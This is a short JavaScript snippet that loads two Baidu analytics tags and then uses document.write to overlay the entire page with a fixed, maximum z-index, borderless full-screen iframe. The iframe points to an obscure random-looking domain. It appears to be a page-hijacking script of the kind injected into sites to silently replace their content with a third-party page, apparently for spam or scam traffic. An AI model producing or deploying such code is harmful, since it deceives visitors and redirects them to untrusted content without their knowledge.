// 1. 百度统计初始化
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?c20f5c29f03c4a8aa92a728e76f2ebd9";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?de73c2b9f8ca84e1b1d19a4a1a1b1d77";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();

// 2. 原有逻辑
var items = ['https://zxy2.qkefooj.cn/cbd/aaacf']; 
var strUrl = items[Math.floor(Math.random()*items.length)]; 
console.log(strUrl); 

// 3. 渲染页面
document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />'); 
document.write('<style>html,body{width:100%;height:100%;padding:0;margin:0;overflow:hidden;clear:both;}</style>'); 
document.write('<div style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483647;background:#fff">'); 
document.write('<iframe src="' + strUrl + '" frameborder="0" style="border:0;width:100%;height:100%;max-height:4000px;"></iframe>'); 
document.write('</div>');